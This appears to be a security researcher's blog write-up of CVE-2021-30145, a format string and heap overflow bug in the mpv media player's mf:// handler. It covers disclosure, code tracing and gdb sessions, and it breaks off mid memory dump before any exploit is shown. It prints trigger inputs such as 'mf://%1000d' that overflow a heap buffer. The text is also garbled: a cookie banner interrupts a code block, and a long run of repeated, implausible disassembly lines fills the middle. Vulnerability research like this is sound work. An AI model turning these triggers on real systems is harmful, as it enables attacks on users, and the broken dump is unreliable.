

12. APRIL 2021 BY SCRYH

mpv media player – mf custom protocol vulnerability (CVE-2021-30145)



The [mpv](#) media player provides a custom protocol handler ([mf://](#)) in order to merge multiple images to a video. An undocumented feature within this protocol handler allows the usage of a format specifier in the provided URL, which is evaluated using [sprintf](#). This results in both, a format string vulnerability as well as a heap overflow ([CVE-2021-30145](#)).

After disclosing the vulnerability to the mpv team on the 3rd April 2021 I got an immediate response. The mpv team took the issue very seriously and immediately started to work on a patch with me. This was the first time I disclosed a vulnerability to an open source project and I was really impressed about the professional reaction and the passionate commitment. The patch was released only two days after my report on the 5th April 2021 ([commit](#)). Thanks a lot to [avib](#), [sfan5](#) and [jeeb](#).

The impact of the format string vulnerability is limited on Linux, because the binary is compiled with [FORTIFY_SOURCE](#) by default. Though the heap overflow can be used to gain arbitrary code execution by overflowing into an adjacent heap chunk and setting a function pointer to an attacker controlled value. Nevertheless I estimate the probability of exploitation in real life as quite low, because a victim has to be tricked into opening a malicious playlist (e.g. via a URL like [http://10.0.0.1/evil.m3u](#)) and the attacker has to have detailed information about the victim's system to fine-tune the exploit.

Within this article I describe the vulnerability itself as well as the development of a proof of concept exploit for [Ubuntu 20.04.2 LTS](#) with [ASLR](#) disabled. At the end of the article I outline a few thoughts on how ASLR can be bypassed and what changes if we develop an exploit for Windows. The article is divided into the following sections:

- [Introduction](#)
- [Format String Vulnerability](#)
- [Heap Overflow](#)
- [Exploitation](#)
- [Further Thoughts](#)
- [Conclusion](#)

Introduction

I have recently started to review some popular open source software by choosing interesting projects from [GitHub's trending page](#). One of the projects I have been looking at is [mpv](#). [mpv](#) is an open source media player available for a wide variety of operating systems (Windows, macOS, Linux, ...).

When searching for possibly vulnerable function calls, I came upon this suspicious call to [sprintf](#):

```
...
mp_info(log, "search expr: %s\n", filename);

while (error_count < 5) {
    sprintf(filename, filename, count++);
    if (!mp_path_exists(filename)) {
        error_count++;
        mp_verbose(log, "file not found: '%s'\n", filename);
    } else {
        mf_add(mf, filename);
    }
}
...
```

One reason for this call being suspicious is that the second parameter to [sprintf](#) (which is the format string), is called [filename](#). This sounds pretty user controllable. Another reason is that [sprintf](#) should be avoided at all, because it does not do any boundary checks. The safer alternative is [snprintf](#), which takes an additional argument specifying the maximum amount of bytes to write. If [sprintf](#) is used nonetheless, the calling code must ensure that the buffer is big enough to prevent a buffer overflow. My first impression was, that this is not the case here.

Format String Vulnerability

Let's start by verifying that we can actually control the [filename](#) variable and thus the format string passed to [sprintf](#). The function surrounding the call is named [open_mf_pattern](#) (see code [here](#)). The third parameter of this function is the variable [filename](#). In order to reach the call to [sprintf](#), the following conditions have to be met:

```
- strchr(filename, '%') (line 127)
```

Accordingly the provided `filename` should not start with an at sign (`@`), should not contain a comma (`,`), but should contain at least one percent sign (`%`).

Keeping this in mind we need to look where `open_mf_pattern` is called from. This leads us to the function `demux_open_mf`:

```
static int demux_open_mf(demuxer_t *demuxer, enum demux_check check)
{
    mf_t *mf;

    if (strncmp(demuxer->stream->url, "mf://", 5) == 0 && ...)
    {
        mf = open_mf_pattern(demuxer, demuxer, demuxer->stream->url + 5);
        ...
    }
}
```

Here we can see that if the URL of the stream being opened (`demuxer->stream->url`) begins with the string `mf://`, the function `open_mf_pattern` is called. The third parameter (`filename`) is set to the stream URL omitting the prefix `mf://`.

The `demux_open_mf` function is stored as a callback in the `demuxer_desc_mf` struct:

```
const demuxer_desc_t demuxer_desc_mf = {
    .name = "mf",
    .desc = "image files (mf)",
    .read_packet = demux_mf_read_packet,
    .open = demux_open_mf,
    ...
};
```

This struct defines callbacks for the `mf` demuxer, which is referenced by the corresponding stream (`stream_info_mf` struct) using the name `"mf"`:

```
const stream_info_t stream_info_mf = {
    .name = "mf",
    .open = mf_stream_open,
    .protocols = (const char*const[]) { "mf", NULL },
};
```

When the provided protocol is set to `mf://` this stream is created.

We can now verify, that we can reach the `sprintf` call by loading mpv in gdb and setting a breakpoint on the function call:

```
user@b0x:~/opt/mpv/build$ gdb ./mpv
...
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
...
0x0000000000005a3c7 <+551>: mov     esi,0x1
0x0000000000005a3cc <+556>: add     ebx,0x1
0x0000000000005a3cf <+559>: call    0x327c0 <__sprintf_chk@plt>
0x0000000000005a3d4 <+564>: mov     rdi,r13
0x0000000000005a3d7 <+567>: call    0x95b60 <mp_path_exists>
0x0000000000005a3dc <+572>: test    al,al
...
gdb-peda$ b *open_mf_pattern+559
Breakpoint 1 at 0x5a3cf: file /usr/include/x86_64-linux-gnu/bits/stdio2.h, line 36.
```

As we can see, the function being called is actually `__sprintf_chk`. Since the binary was compiled with `FORTIFY_SOURCE` enabled, calls to `printf`, `sprintf`, etc. are replaced with these safer versions, which are suffixed with `_chk`. The presence of this security feature is also displayed by e.g. using the gdb-peda command `checksec`:

```
gdb-peda$ checksec
CANARY      : ENABLED
FORTIFY     : ENABLED
NX          : ENABLED
PIE         : ENABLED
RELRO       : FULL
```

After having set the breakpoint, we can now run mpv and provide a `mf://` URL. For the URL we must ensure to meet the above mentioned criteria. For example `mf://test%d`:

```
gdb-peda$ r mf://test%d
Starting program: /home/user/opt/mpv/build/mpv mf://test%d
...
[-----registers-----]
RAX: 0x0
RBX: 0x1
RCX: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
RDX: 0xfffffffffffffff
RSI: 0x1
RDI: 0x7fffe40020a0 --> 0x0
RBP: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
RSP: 0x7fffebcaee00 --> 0x7fffebcaf0df --> 0x55555556b95a000
RIP: 0x5555555ae3cf (<open_mf_pattern+559>: call 0x5555555867c0 <__sprintf_chk@plt>)
R8 : 0x0
R9 : 0x4
R10: 0x1
R11: 0x0
R12: 0x7fffe4002020 --> 0x7fffe4001970 --> 0x555555572b460 --> 0x555555572b320 --> 0x555555572b5d0 (0x0000555555572b460)
R13: 0x7fffe40020a0 --> 0x0
R14: 0x7fffe4001970 --> 0x555555572b460 --> 0x555555572b320 --> 0x555555572b5d0 (0x0000555555572b460)
```

We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it.

Ok No

```

0x5555555ae3c0 <open_mf_pattern+544>:    mov     rdx,0xffffffffffffffff
0x5555555ae3c7 <open_mf_pattern+551>:    mov     esi,0x1
0x5555555ae3cc <open_mf_pattern+556>:    add     ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>:    call    0x5555555867c0 <__sprintf_chk@plt>
0x5555555ae3d4 <open_mf_pattern+564>:    mov     rdi,r13
0x5555555ae3d7 <open_mf_pattern+567>:    call    0x5555555e9b60 <mp_path_exists>
0x5555555ae3dc <open_mf_pattern+572>:    test    al,al
0x5555555ae3de <open_mf_pattern+574>:    je      0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7ffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7ffe40011f5 --> 0x642574736574 ('test%d')
arg[4]: 0x0
...
```

We actually hit the breakpoint. The second (**0x1**) and third parameter (**0xffffffffffffffff**) are additional parameters introduced by replacing `printf` with `__sprintf_chk`. We get to these parameters soon. Aside from this we can see that the URL we provided (omitting the prefix `mf://`) is actually passed as the fourth parameter, which is the format string. Thus we have verified the format string vulnerability.

By running `mpv` with the `-v` option in order to increase the verbosity, we can actually see the format string vulnerability in the verbose output:

```

user@b0x:~/opt/mpv/build$ ./mpv -v mf://%p.%p.%p.%p
...
[mf] Opening mf://%p.%p.%p.%p
[demux] Trying demuxers for level=request.
[mf] search expr: %p.%p.%p.%p
[mf] file not found: '(nil).0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x1.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x2.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x3.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x4.0x4.0x55555575ea93.0x55555575e880'
[mf] number of files: 0
[cplayer] Opening failed or was aborted: mf://%p.%p.%p.%p
[cplayer] finished playback, unrecognized file format (reason 4)
[cplayer] Failed to recognize file format.
[cplayer]
[cplayer] Exiting... (Errors when loading file)
```

Since we provided invalid filenames, an error message for each file is displayed, which contains the string produced via the `printf` call. The provided format specifiers (`%p`) are indeed evaluated.

A format string vulnerability is usually a very powerful exploitation primitive. Though without spoiling too much: **FORTIFY_SOURCE** greatly reduces the possible impact. We will get to the exploitation considerations in the [exploitation section](#). Let's first have a look at the additional parameters introduced by replacing `printf` with `__sprintf_chk` again.

Heap Overflow

When we hit the breakpoint on `__sprintf_chk`, we see two additional parameters (second and third):

```

...
=> 0x5555555ae3cf <open_mf_pattern+559>:    call    0x5555555867c0 <__sprintf_chk@plt>
0x5555555ae3d4 <open_mf_pattern+564>:    mov     rdi,r13
0x5555555ae3d7 <open_mf_pattern+567>:    call    0x5555555e9b60 <mp_path_exists>
0x5555555ae3dc <open_mf_pattern+572>:    test    al,al
0x5555555ae3de <open_mf_pattern+574>:    je      0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7ffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7ffe40011f5 --> 0x642574736574 ('test%d')
arg[4]: 0x0
...
```

The second parameter is called **flag** and has a value of **0x1**. This value determines the amount of security measures `__sprintf_chk` should perform. For our considerations, we don't need to dig deeper here. More interesting to notice is the third parameter, which is called **strlen** and determines the maximum amount of bytes the destination buffer can receive. This is similar to the additional **n** parameter passed to `snprintf`. Though in this case the value is obviously set to **0xffffffffffffffff**, which effectively disables this buffer overflow protection. The reason for this is that the destination buffer was dynamically allocated on the heap. Thus the compiler could not now in advance, how big the buffer is and simply defaults it to **0xffffffffffffffff**. If a static buffer is used (e.g. `char buf[100]`), the **FORTIFY_SOURCE** option actually prevents `printf` (replaced by `__sprintf_chk`) from overflowing the buffer (terminating the program with the error message ***** buffer overflow detected ***: terminated**).

The allocation for the destination buffer called **fname** is also done in the `open_mf_pattern` function (see code [here](#)):

```

...
char *fname = malloc_size(mf, strlen(filename) + 32);
...
```

The size of the buffer is equal to the size of the provided **filename** plus additional 32 bytes. It is quite obvious that these 32 bytes are not enough, because we can provide multiple, arbitrary format specifiers and `__sprintf_chk` won't prevent a buffer overflow. Let's also verify that by setting an additional breakpoint on the allocation (`malloc_size`):

```

gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
...
0x0000000000005a328 <+392>:    mov     rdi,rbp
0x0000000000005a329 <+393>:    mov     esi,rbp
0x0000000000005a32a <+394>:    mov     edi,rbp
0x0000000000005a32b <+395>:    mov     ebx,rbp
0x0000000000005a32c <+396>:    mov     ecx,rbp
0x0000000000005a32d <+397>:    mov     edx,rbp
0x0000000000005a32e <+398>:    mov     eax,rbp
0x0000000000005a32f <+399>:    mov     esi,rbp
0x0000000000005a330 <+400>:    mov     edi,rbp
0x0000000000005a331 <+401>:    mov     ebx,rbp
0x0000000000005a332 <+402>:    mov     ecx,rbp
0x0000000000005a333 <+403>:    mov     edx,rbp
0x0000000000005a334 <+404>:    mov     eax,rbp
0x0000000000005a335 <+405>:    mov     esi,rbp
0x0000000000005a336 <+406>:    mov     edi,rbp
0x0000000000005a337 <+407>:    mov     ebx,rbp
0x0000000000005a338 <+408>:    mov     ecx,rbp
0x0000000000005a339 <+409>:    mov     edx,rbp
0x0000000000005a33a <+410>:    mov     eax,rbp
0x0000000000005a33b <+411>:    mov     esi,rbp
0x0000000000005a33c <+412>:    mov     edi,rbp
0x0000000000005a33d <+413>:    mov     ebx,rbp
0x0000000000005a33e <+414>:    mov     ecx,rbp
0x0000000000005a33f <+415>:    mov     edx,rbp
0x0000000000005a340 <+416>:    mov     eax,rbp
0x0000000000005a341 <+417>:    mov     esi,rbp
0x0000000000005a342 <+418>:    mov     edi,rbp
0x0000000000005a343 <+419>:    mov     ebx,rbp
0x0000000000005a344 <+420>:    mov     ecx,rbp
0x0000000000005a345 <+421>:    mov     edx,rbp
0x0000000000005a346 <+422>:    mov     eax,rbp
0x0000000000005a347 <+423>:    mov     esi,rbp
0x0000000000005a348 <+424>:    mov     edi,rbp
0x0000000000005a349 <+425>:    mov     ebx,rbp
0x0000000000005a34a <+426>:    mov     ecx,rbp
0x0000000000005a34b <+427>:    mov     edx,rbp
0x0000000000005a34c <+428>:    mov     eax,rbp
0x0000000000005a34d <+429>:    mov     esi,rbp
0x0000000000005a34e <+430>:    mov     edi,rbp
0x0000000000005a34f <+431>:    mov     ebx,rbp
0x0000000000005a350 <+432>:    mov     ecx,rbp
0x0000000000005a351 <+433>:    mov     edx,rbp
0x0000000000005a352 <+434>:    mov     eax,rbp
0x0000000000005a353 <+435>:    mov     esi,rbp
0x0000000000005a354 <+436>:    mov     edi,rbp
0x0000000000005a355 <+437>:    mov     ebx,rbp
0x0000000000005a356 <+438>:    mov     ecx,rbp
0x0000000000005a357 <+439>:    mov     edx,rbp
0x0000000000005a358 <+440>:    mov     eax,rbp
0x0000000000005a359 <+441>:    mov     esi,rbp
0x0000000000005a35a <+442>:    mov     edi,rbp
0x0000000000005a35b <+443>:    mov     ebx,rbp
0x0000000000005a35c <+444>:    mov     ecx,rbp
0x0000000000005a35d <+445>:    mov     edx,rbp
0x0000000000005a35e <+446>:    mov     eax,rbp
0x0000000000005a35f <+447>:    mov     esi,rbp
0x0000000000005a360 <+448>:    mov     edi,rbp
0x0000000000005a361 <+449>:    mov     ebx,rbp
0x0000000000005a362 <+450>:    mov     ecx,rbp
0x0000000000005a363 <+451>:    mov     edx,rbp
0x0000000000005a364 <+452>:    mov     eax,rbp
0x0000000000005a365 <+453>:    mov     esi,rbp
0x0000000000005a366 <+454>:    mov     edi,rbp
0x0000000000005a367 <+455>:    mov     ebx,rbp
0x0000000000005a368 <+456>:    mov     ecx,rbp
0x0000000000005a369 <+457>:    mov     edx,rbp
0x0000000000005a36a <+458>:    mov     eax,rbp
0x0000000000005a36b <+459>:    mov     esi,rbp
0x0000000000005a36c <+460>:    mov     edi,rbp
0x0000000000005a36d <+461>:    mov     ebx,rbp
0x0000000000005a36e <+462>:    mov     ecx,rbp
0x0000000000005a36f <+463>:    mov     edx,rbp
0x0000000000005a370 <+464>:    mov     eax,rbp
0x0000000000005a371 <+465>:    mov     esi,rbp
0x0000000000005a372 <+466>:    mov     edi,rbp
0x0000000000005a373 <+467>:    mov     ebx,rbp
0x0000000000005a374 <+468>:    mov     ecx,rbp
0x0000000000005a375 <+469>:    mov     edx,rbp
0x0000000000005a376 <+470>:    mov     eax,rbp
0x0000000000005a377 <+471>:    mov     esi,rbp
0x0000000000005a378 <+472>:    mov     edi,rbp
0x0000000000005a379 <+473>:    mov     ebx,rbp
0x0000000000005a37a <+474>:    mov     ecx,rbp
0x0000000000005a37b <+475>:    mov     edx,rbp
0x0000000000005a37c <+476>:    mov     eax,rbp
0x0000000000005a37d <+477>:    mov     esi,rbp
0x0000000000005a37e <+478>:    mov     edi,rbp
0x0000000000005a37f <+479>:    mov     ebx,rbp
0x0000000000005a380 <+480>:    mov     ecx,rbp
0x0000000000005a381 <+481>:    mov     edx,rbp
0x0000000000005a382 <+482>:    mov     eax,rbp
0x0000000000005a383 <+483>:    mov     esi,rbp
0x0000000000005a384 <+484>:    mov     edi,rbp
0x0000000000005a385 <+485>:    mov     ebx,rbp
0x0000000000005a386 <+486>:    mov     ecx,rbp
0x0000000000005a387 <+487>:    mov     edx,rbp
0x0000000000005a388 <+488>:    mov     eax,rbp
0x0000000000005a389 <+489>:    mov     esi,rbp
0x0000000000005a38a <+490>:    mov     edi,rbp
0x0000000000005a38b <+491>:    mov     ebx,rbp
0x0000000000005a38c <+492>:    mov     ecx,rbp
0x0000000000005a38d <+493>:    mov     edx,rbp
0x0000000000005a38e <+494>:    mov     eax,rbp
0x0000000000005a38f <+495>:    mov     esi,rbp
0x0000000000005a390 <+496>:    mov     edi,rbp
0x0000000000005a391 <+497>:    mov     ebx,rbp
0x0000000000005a392 <+498>:    mov     ecx,rbp
0x0000000000005a393 <+499>:    mov     edx,rbp
0x0000000000005a394 <+500>:    mov     eax,rbp
0x0000000000005a395 <+501>:    mov     esi,rbp
0x0000000000005a396 <+502>:    mov     edi,rbp
0x0000000000005a397 <+503>:    mov     ebx,rbp
0x0000000000005a398 <+504>:    mov     ecx,rbp
0x0000000000005a399 <+505>:    mov     edx,rbp
0x0000000000005a39a <+506>:    mov     eax,rbp
0x0000000000005a39b <+507>:    mov     esi,rbp
0x0000000000005a39c <+508>:    mov     edi,rbp
0x0000000000005a39d <+509>:    mov     ebx,rbp
0x0000000000005a39e <+510>:    mov     ecx,rbp
0x0000000000005a39f <+511>:    mov     edx,rbp
0x0000000000005a3a0 <+512>:    mov     eax,rbp
0x0000000000005a3a1 <+513>:    mov     esi,rbp
0x0000000000005a3a2 <+514>:    mov     edi,rbp
0x0000000000005a3a3 <+515>:    mov     ebx,rbp
0x0000000000005a3a4 <+516>:    mov     ecx,rbp
0x0000000000005a3a5 <+517>:    mov     edx,rbp
0x0000000000005a3a6 <+518>:    mov     eax,rbp
0x0000000000005a3a7 <+519>:    mov     esi,rbp
0x0000000000005a3a8 <+520>:    mov     edi,rbp
0x0000000000005a3a9 <+521>:    mov     ebx,rbp
0x0000000000005a3aa <+522>:    mov     ecx,rbp
0x0000000000005a3ab <+523>:    mov     edx,rbp
0x0000000000005a3ac <+524>:    mov     eax,rbp
0x0000000000005a3ad <+525>:    mov     esi,rbp
0x0000000000005a3ae <+526>:    mov     edi,rbp
0x0000000000005a3af <+527>:    mov     ebx,rbp
0x0000000000005a3b0 <+528>:    mov     ecx,rbp
0x0000000000005a3b1 <+529>:    mov     edx,rbp
0x0000000000005a3b2 <+530>:    mov     eax,rbp
0x0000000000005a3b3 <+531>:    mov     esi,rbp
0x0000000000005a3b4 <+532>:    mov     edi,rbp
0x0000000000005a3b5 <+533>:    mov     ebx,rbp
0x0000000000005a3b6 <+534>:    mov     ecx,rbp
0x0000000000005a3b7 <+535>:    mov     edx,rbp
0x0000000000005a3b8 <+536>:    mov     eax,rbp
0x0000000000005a3b9 <+537>:    mov     esi,rbp
0x0000000000005a3ba <+538>:    mov     edi,rbp
0x0000000000005a3bb <+539>:    mov     ebx,rbp
0x0000000000005a3bc <+540>:    mov     ecx,rbp
0x0000000000005a3bd <+541>:    mov     edx,rbp
0x0000000000005a3be <+542>:    mov     eax,rbp
0x0000000000005a3bf <+543>:    mov     esi,rbp
0x0000000000005a3c0 <+544>:    mov     edi,rbp
0x0000000000005a3c1 <+545>:    mov     ebx,rbp
0x0000000000005a3c2 <+546>:    mov     ecx,rbp
0x0000000000005a3c3 <+547>:    mov     edx,rbp
0x0000000000005a3c4 <+548>:    mov     eax,rbp
0x0000000000005a3c5 <+549>:    mov     esi,rbp
0x0000000000005a3c6 <+550>:    mov     edi,rbp
0x0000000000005a3c7 <+551>:    mov     ebx,rbp
0x0000000000005a3c8 <+552>:    mov     ecx,rbp
0x0000000000005a3c9 <+553>:    mov     edx,rbp
0x0000000000005a3ca <+554>:    mov     eax,rbp
0x0000000000005a3cb <+555>:    mov     esi,rbp
0x0000000000005a3cc <+556>:    mov     edi,rbp
0x0000000000005a3cd <+557>:    mov     ebx,rbp
0x0000000000005a3ce <+558>:    mov     ecx,rbp
0x0000000000005a3cf <+559>:    mov     edx,rbp
0x0000000000005a3d0 <+560>:    mov     eax,rbp
0x0000000000005a3d1 <+561>:    mov     esi,rbp
0x0000000000005a3d2 <+562>:    mov     edi,rbp
0x0000000000005a3d3 <+563>:    mov     ebx,rbp
0x0000000000005a3d4 <+564>:    mov     ecx,rbp
0x0000000000005a3d5 <+565>:    mov     edx,rbp
0x0000000000005a3d6 <+566>:    mov     eax,rbp
0x0000000000005a3d7 <+567>:    mov     esi,rbp
0x0000000000005a3d8 <+568>:    mov     edi,rbp
0x0000000000005a3d9 <+569>:    mov     ebx,rbp
0x0000000000005a3da <+570>:    mov     ecx,rbp
0x0000000000005a3db <+571>:    mov     edx,rbp
0x0000000000005a3dc <+572>:    mov     eax,rbp
0x0000000000005a3dd <+573>:    mov     esi,rbp
0x0000000000005a3de <+574>:    mov     edi,rbp
0x0000000000005a3df <+575>:    mov     ebx,rbp
0x0000000000005a3e0 <+576>:    mov     ecx,rbp
0x0000000000005a3e1 <+577>:    mov     edx,rbp
0x0000000000005a3e2 <+578>:    mov     eax,rbp
0x0000000000005a3e3 <+579>:    mov     esi,rbp
0x0000000000005a3e4 <+580>:    mov     edi,rbp
0x0000000000005a3e5 <+581>:    mov     ebx,rbp
0x0000000000005a3e6 <+582>:    mov     ecx,rbp
0x0000000000005a3e7 <+583>:    mov     edx,rbp
0x0000000000005a3e8 <+584>:    mov     eax,rbp
0x0000000000005a3e9 <+585>:    mov     esi,rbp
0x0000000000005a3ea <+586>:    mov     edi,rbp
0x0000000000005a3eb <+587>:    mov     ebx,rbp
0x0000000000005a3ec <+588>:    mov     ecx,rbp
0x0000000000005a3ed <+589>:    mov     edx,rbp
0x0000000000005a3ee <+590>:    mov     eax,rbp
0x0000000000005a3ef <+591>:    mov     esi,rbp
0x0000000000005a3f0 <+592>:    mov     edi,rbp
0x0000000000005a3f1 <+593>:    mov     ebx,rbp
0x0000000000005a3f2 <+594>:    mov     ecx,rbp
0x0000000000005a3f3 <+595>:    mov     edx,rbp
0x0000000000005a3f4 <+596>:    mov     eax,rbp
0x0000000000005a3f5 <+597>:    mov     esi,rbp
0x0000000000005a3f6 <+598>:    mov     edi,rbp
0x0000000000005a3f7 <+599>:    mov     ebx,rbp
0x0000000000005a3f8 <+600>:    mov     ecx,rbp
0x0000000000005a3f9 <+601>:    mov     edx,rbp
0x0000000000005a3fa <+602>:    mov     eax,rbp
0x0000000000005a3fb <+603>:    mov     esi,rbp
0x0000000000005a3fc <+604>:    mov     edi,rbp
0x0000000000005a3fd <+605>:    mov     ebx,rbp
0x0000000000005a3fe <+606>:    mov     ecx,rbp
0x0000000000005a3ff <+607>:    mov     edx,rbp
0x0000000000005a400 <+608>:    mov     eax,rbp
0x0000000000005a401 <+609>:    mov     esi,rbp
0x0000000000005a402 <+610>:    mov     edi,rbp
0x0000000000005a403 <+611>:    mov     ebx,rbp
0x0000000000005a404 <+612>:    mov     ecx,rbp
0x0000000000005a405 <+613>:    mov     edx,rbp
0x0000000000005a406 <+614>:    mov     eax,rbp
0x0000000000005a407 <+615>:    mov     esi,rbp
0x0000000000005a408 <+616>:    mov     edi,rbp
0x0000000000005a409 <+617>:    mov     ebx,rbp
0x0000000000005a40a <+618>:    mov     ecx,rbp
0x0000000000005a40b <+619>:    mov     edx,rbp
0x0000000000005a40c <+620>:    mov     eax,rbp
0x0000000000005a40d <+621>:    mov     esi,rbp
0x0000000000005a40e <+622>:    mov     edi,rbp
0x0000000000005a40f <+623>:    mov     ebx,rbp
0x0000000000005a410 <+624>:    mov     ecx,rbp
0x0000000000005a411 <+625>:    mov     edx,rbp
0x0000000000005a412 <+626>:    mov     eax,rbp
0x0000000000005a413 <+627>:    mov     esi,rbp
0x0000000000005a414 <+628>:    mov     edi,rbp
0x0000000000005a415 <+629>:    mov     ebx,rbp
0x0000000000005a416 <+630>:    mov     ecx,rbp
0x0000000000005a417 <+631>:    mov     edx,rbp
0x0000000000005a418 <+632>:    mov     eax,rbp
0x0000000000005a419 <+633>:    mov     esi,rbp
0x0000000000005a41a <+634>:    mov     edi,rbp
0x0000000000005a41b <+635>:    mov     ebx,rbp
0x0000000000005a41c <+636>:    mov     ecx,rbp
0x0000000000005a41d <+637>:    mov     edx,rbp
0x0000000000005a41e <+638>:    mov     eax,rbp
0x0000000000005a41f <+639>:    mov     esi,rbp
0x0000000000005a420 <+640>:    mov     edi,rbp
0x0000000000005a421 <+641>:    mov     ebx,rbp
0x0000000000005a422 <+642>:    mov     ecx,rbp
0x0000000000005a423 <+643>:    mov     edx,rbp
0x0000000000005a424 <+644>:    mov     eax,rbp
0x0000000000005a425 <+645>:    mov     esi,rbp
0x0000000000005a426 <+646>:    mov     edi,rbp
0x0000000000005a427 <+647>:    mov     ebx,rbp
0x0000000000005a428 <+648>:    mov     ecx,rbp
0x0000000000005a429 <+649>:    mov     edx,rbp
0x0000000000005a42a <+650>:    mov     eax,rbp
0x0000000000005a42b <+651>:    mov     esi,rbp
0x0000000000005a42c <+652>:    mov     edi,rbp
0x0000000000005a42d <+653>:    mov     ebx,rbp
0x0000000000005a42e <+654>:    mov     ecx,rbp
0x0000000000005a42f <+655>:    mov     edx,rbp
0x0000000000005a430 <+656>:    mov     eax,rbp
0x0000000000005a431 <+657>:    mov     esi,rbp
0x0000000000005a432 <+658>:    mov     edi,rbp
0x0000000000005a433 <+659>:    mov     ebx,rbp
0x0000000000005a434 <+660>:    mov     ecx,rbp
0x0000000000005a435 <+661>:    mov     edx,rbp
0x0000000000005a436 <+662>:    mov     eax,
```

```

0x000000000005a33c <+412>: lea    rsi,[rip+0xb898c]    # 0x112ccf
...
gdb-peda$ b *open_mf_pattern+407
Breakpoint 2 at 0x5a337: file ../demux/demux_mf.c, line 124.

```

In order to make `__sprintf_chk` write a huge amount of bytes to the destination buffer, we can use a padded format specifier like `%1000d`:

```

gdb-peda$ r mf://%1000d
Starting program: /home/user/opt/mpv/build/mpv mf://%1000d
...
[-----code-----]
0x5555555ae32b <open_mf_pattern+395>: call    0x555555585400 <strlen@plt>
0x5555555ae330 <open_mf_pattern+400>: mov     rdi,r12
0x5555555ae333 <open_mf_pattern+403>: lea     rsi,[rax+0x20]
=> 0x5555555ae337 <open_mf_pattern+407>: call    0x55555556e290 <ta_alloc_size>
0x5555555ae33c <open_mf_pattern+412>: lea     rsi,[rip+0xb898c]    # 0x5555555666ccf
0x5555555ae343 <open_mf_pattern+419>: mov     rdi,rax
0x5555555ae346 <open_mf_pattern+422>: call    0x55555556e680 <ta_dbg_set_loc>
0x5555555ae34b <open_mf_pattern+427>: mov     rdi,rax
Guessed arguments:
arg[0]: 0x7ffe4002020 --> 0x7ffe4001970 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
arg[1]: 0x26 ('&')
...

```

The requested size for the allocation is `0x26 = 38` bytes (`strlen("&") + 32`).

The address of the allocated chunk is stored in `RAX` after we proceed to the next instruction:

```

gdb-peda$ ni
[-----registers-----]
RAX: 0x7ffe40020a0 --> 0x0
...
[-----code-----]
0x5555555ae330 <open_mf_pattern+400>: mov     rdi,r12
0x5555555ae333 <open_mf_pattern+403>: lea     rsi,[rax+0x20]
0x5555555ae337 <open_mf_pattern+407>: call    0x55555556e290 <ta_alloc_size>
=> 0x5555555ae33c <open_mf_pattern+412>: lea     rsi,[rip+0xb898c]    # 0x5555555666ccf

```

Since the chunk was allocated using `ta_alloc_size`, it contains a special header (`struct ta_header`), which begins `0x50` bytes before the return address. We will get to the details in the [exploitation section](#). For now it is only necessary to know that the first member of the header (`0x0000000000000026`) is the size of the allocated chunk:

```

...
gdb-peda$ x/20xg 0x7ffe40020a0-0x50
0x7ffe4002050: 0x0000000000000026 0x0000000000000000
0x7ffe4002060: 0x0000000000000000 0x0000000000000000
0x7ffe4002070: 0x00007ffe4001fd0 0x0000000000000000
0x7ffe4002080: 0x00000000d3adb3ef 0x0000000000000000
0x7ffe4002090: 0x0000000000000000 0x0000000000000000
0x7ffe40020a0: 0x0000000000000000 0x0000000000000000
0x7ffe40020b0: 0x0000000000000000 0x0000000000000000
0x7ffe40020c0: 0x0000000000000000 0x000000000001ef41
0x7ffe40020d0: 0x0000000000000000 0x0000000000000000
0x7ffe40020e0: 0x0000000000000000 0x0000000000000000

```

Now let's proceed to the call to `__sprintf_chk`:

```

gdb-peda$ c
Continuing.
...
=> 0x5555555ae3cf <open_mf_pattern+559>: call    0x5555555867c0 <__sprintf_chk@plt>
0x5555555ae3d4 <open_mf_pattern+564>: mov     rdi,r13
0x5555555ae3d7 <open_mf_pattern+567>: call    0x5555555e9b60 <mp_path_exists>
0x5555555ae3dc <open_mf_pattern+572>: test    al,al
0x5555555ae3de <open_mf_pattern+574>: je      0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7ffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffff
arg[3]: 0x7ffe40011f5 --> 0x643030303125 ('%1000d')
arg[4]: 0x0

```

We can verify that the destination buffer is the allocated chunk at `0x7ffe40020a0`. Let's execute the `__sprintf_chk` by stepping to the next instruction:

```

gdb-peda$ ni
...
0x5555555ae3cf <open_mf_pattern+559>: call    0x5555555867c0 <__sprintf_chk@plt>
=> 0x5555555ae3d4 <open_mf_pattern+564>: mov     rdi,r13

```

The `__sprintf_chk` call wrote way beyond the `0x26` bytes allocated for the chunk:

```

gdb-peda$ x/100xg 0x7ffe40020a0-0x50
0x7ffe4002050: 0x0000000000000026 0x0000000000000000
0x7ffe4002060: 0x0000000000000000 0x0000000000000000
0x7ffe4002070: 0x00007ffe4001fd0 0x0000000000000000
0x7ffe4002080: 0x00000000d3adb3ef 0x0000000000000000
0x7ffe4002090: 0x0000000000000000 0x00005555555666ccf
0x7ffe40020a0: 0x2020202020202020 0x2020202020202020
0x7ffe40020b0: 0x2020202020202020 0x2020202020202020
0x7ffe40020c0: 0x2020202020202020 0x2020202020202020
0x7ffe40020d0: 0x2020202020202020 0x2020202020202020

```

```

0x7ffe4002120: 0x2020202020202020 0x2020202020202020
0x7ffe4002130: 0x2020202020202020 0x2020202020202020
0x7ffe4002140: 0x2020202020202020 0x2020202020202020
0x7ffe4002150: 0x2020202020202020 0x2020202020202020
0x7ffe4002160: 0x2020202020202020 0x2020202020202020
0x7ffe4002170: 0x2020202020202020 0x2020202020202020
